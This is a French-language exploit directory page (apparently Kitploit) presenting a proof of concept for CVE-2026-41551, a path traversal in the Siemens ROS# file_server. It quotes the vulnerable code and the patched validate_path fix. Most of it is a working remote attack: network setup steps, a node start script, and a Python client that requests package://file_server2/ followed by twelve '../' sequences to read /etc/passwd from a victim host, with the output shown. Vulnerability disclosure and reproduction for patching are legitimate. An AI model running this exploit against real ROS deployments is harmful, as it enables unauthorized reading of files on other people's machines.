Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-41551 — Preuve de concept d'exploitation pour CVE-2026-41551, une vulnérabilité de traversée de chemin dans le file_server de Siemens ROS#, démontrant la lecture de fichiers à distance via des requêtes package:// spécialement conçues. | Kitploit
Outils/GitHubGitHub/selecthch/cve-2026-41551
ReconnaissanceAnalyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsTests d'Intrusion
GitHubselecthch/cve-2026-41551

CVE-2026-41551

Preuve de concept d'exploitation pour CVE-2026-41551, une vulnérabilité de traversée de chemin dans le file_server de Siemens ROS#, démontrant la lecture de fichiers à distance via des requêtes package:// spécialement conçues.

Voir le dépôt
1il y a 2 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Reproduction de CVE-2026-41551

Vulnérabilité : traversée de chemin relatif dans les services file_server / file_server2 de Siemens ROS# CVSS v3.1 : 9.1 (AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:N) Versions affectées : ros-sharp toutes versions < V2.2.2 ; version corrigée : V2.2.2 (ajout de validate_path) Conclusion : cette vulnérabilité est exploitable entre hôtes, elle ne se limite pas à une reproduction locale. Voici les étapes de reproduction à distance « attaquant 153 → victime 152 ».


0. Principe de la vulnérabilité (ros-sharp 2.2.1, file_server.cpp)

get_file_callback concatène directement le chemin de la requête au répertoire partagé du paquet, sans vérification de traversée :

root@kitploit:~
std::string address   = request->name.substr(10);          // retire "package://"
std::string package   = address.substr(0, address.find("/"));
std::string filepath  = address.substr(package.length());
std::string directory = ament_index_cpp::get_package_share_directory(package);
directory += filepath;                                    // contrôlé par l'utilisateur, contient "../"
std::ifstream inputfile(directory.c_str(), std::ios::binary);  // traversée pour lire un fichier arbitraire

La requête PoC package://file_server2/<../×12>etc/passwd sort du répertoire partagé du paquet jusqu'à la racine, puis lit un fichier local de la victime.

Code de correction (ros-sharp 2.2.2)

Ajout de validate_path : d'abord une vérification de traversée de chemin, puis une liste blanche d'extensions, et enfin std::filesystem::canonical pour confirmer qu'on ne sort pas du répertoire du paquet ; save_file est désactivé par défaut.

root@kitploit:~
bool has_traversal(const std::string& path) {           // interdit ".." et "."
  for (const auto& part : std::filesystem::path(path))
    if (part == ".." || part == ".") return true;
  return false;
}
bool is_path_safe(const std::string& base_dir, const std::string& full_path) {
  auto base   = std::filesystem::canonical(base_dir);
  auto target = std::filesystem::weakly_canonical(full_path);
  auto [end, _] = std::mismatch(base.begin(), base.end(), target.begin());
  return end == base.end();                            // doit rester dans le répertoire du paquet
}
bool validate_path(...) {
  if (has_traversal(filepath))   { warn("Path traversal attempt blocked"); return false; }

1. Informations sur l'environnement

Topologie réseau (même ROS_DOMAIN_ID, découverte DDS entre hôtes) :

root@kitploit:~
Attaquant 192.168.171.153                         Victime 192.168.171.152
+---------------------------+                +---------------------------+
| ros2_humble + client      |  (1) get_file  | nœud file_server          |
| python3 poc.py            | -------------> | /file_server/get_file     |
|                           |                | lit /etc/passwd local     |
|                           | <-------------  | (2) renvoie le contenu 2930 octets |
+---------------------------+                +---------------------------+
             ROS2 DDS (UDP 7400-7500 / multicast 239.255.0.x), ROS_DOMAIN_ID=0

2. Prérequis (satisfaits par défaut après redémarrage)

  • Les deux hôtes ont ROS2 Humble installé (/opt/ros/humble) ainsi que colcon.
  • Le paquet source vulnérable est placé dans ~/ros2_ws/src/file_server2 (ros-sharp 2.2.1, 13 fichiers au total).
  • Point clé : au démarrage du nœud victime, il ne faut PAS définir ROS_LOCALHOST_ONLY=1, sinon seul le loopback est accessible et la reproduction à distance échoue.

3. Étapes de reproduction

3.1 Côté victime (192.168.171.152) : compiler et démarrer le nœud, écoute réseau

root@kitploit:~
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0

# Compiler le paquet vulnérable (peut être omis si déjà compilé, une recompilation est sans danger)
colcon build --packages-select file_server2

# Démarrer le nœud (sûr après redémarrage : nettoyer d'abord les anciens processus)
# Le contenu de ~/start_fs.sh est donné en annexe A
bash ~/start_fs.sh
sleep 2

ros2 node list            # doit afficher /file_server local

3.2 Côté attaquant (192.168.171.153) : compiler le paquet client pour obtenir le type srv

root@kitploit:~
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0

# Le paquet file_server2 est également nécessaire pour importer le type GetBinaryFile côté client
colcon build --packages-select file_server2

3.3 Côté attaquant : découvrir le service de la victime entre hôtes

root@kitploit:~
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0
sleep 2

ros2 node list                 # doit découvrir /file_server entre hôtes (sur 152)
ros2 service list | grep file_server
# doit afficher : /file_server/get_file

3.4 Côté attaquant : exécuter le PoC pour lire à distance /etc/passwd de la victime

root@kitploit:~
python3 ~/poc.py

4. Résultat de la reproduction

root@kitploit:~
[*] Requesting: package://file_server2/../../../../../../../../../../../../etc/passwd
[*] Returned 2930 bytes
----- /etc/passwd (begin) -----
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
----- end -----

L'attaquant sur 153 a réussi à lire /etc/passwd local à la victime 152.


Annexe A : ~/start_fs.sh

root@kitploit:~
#!/bin/bash
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0
# Le nom du processus est tronqué par le noyau en file_server2_no, nettoyage précis des anciennes instances par ligne de commande
MYSELF=$$
for p in $(ps -eo pid,args | grep "file_server2_node" | grep -v grep | awk '{print $1}'); do
  [ "$p" != "$MYSELF" ] && kill -9 "$p" 2>/dev/null
done
sleep 1
# Point clé : ne pas définir ROS_LOCALHOST_ONLY, sinon seul le loopback est accessible
setsid bash -c "ros2 run file_server2 file_server2_node > ~/file_server.log 2>&1" >/dev/null 2>&1 </dev/null &
disown
sleep 2
echo "node started: $(pgrep -af file_server2_node | head -1)"

Annexe B : ~/poc.py

root@kitploit:~
import rclpy
from rclpy.node import Node
from file_server2.srv import GetBinaryFile

class Client(Node):
    def __init__(self):
        super().__init__('poc_client')
        self.cli = self.create_client(GetBinaryFile, '/file_server/get_file')
        while not self.cli.wait_for_service(timeout_sec=5.0):
            self.get_logger().info('waiting for service...')

    def call(self, name):
        req = GetBinaryFile.Request()
        req.name = name
        fut = self.cli.call_async(req)
        rclpy.spin_until_future_complete(self, fut)
        return fut.result()

def main():
    rclpy.init()
    c = Client()
    # 12 occurrences de "../" suffisent pour sortir du répertoire partagé du paquet jusqu'à la racine, puis accéder à etc/passwd
    target = "package://file_server2/" + ("../" * 12) + "etc/passwd"
    print(f"[*] Requesting: {target}")
    res = c.call(target)
    data = bytes(res.value) if res is not None else b''
    print(f"[*] Returned {len(data)} bytes")
    print("----- /etc/passwd (begin) -----")
    print(data[:400].decode(errors='replace'))
    print("----- end -----")
    c.destroy_node()
    rclpy.shutdown()

if __name__ == '__main__':
    main()

Références

  • Avis de sécurité Siemens SSA-357982 (traversée de répertoire ROS# file_server)
  • NVD CVE-2026-41551
  • Versions GitHub ros-sharp : V2.2.1 (affectée) / V2.2.2 (corrigée)
  • CWE-23 : Relative Path Traversal ; documentation ROS 2 : ROS_DOMAIN_ID / ROS_LOCALHOST_ONLY / découverte DDS
Télécharger l’outil
RôleIP de l'hôteSystèmeROSDescription
Victime192.168.171.152Ubuntu 22.04HumbleExécute le nœud file_server, le fichier lu se trouve sur la machine locale
Attaquant192.168.171.153Ubuntu 22.04HumbleMême sous-réseau, lance l'appel PoC vers le service de la victime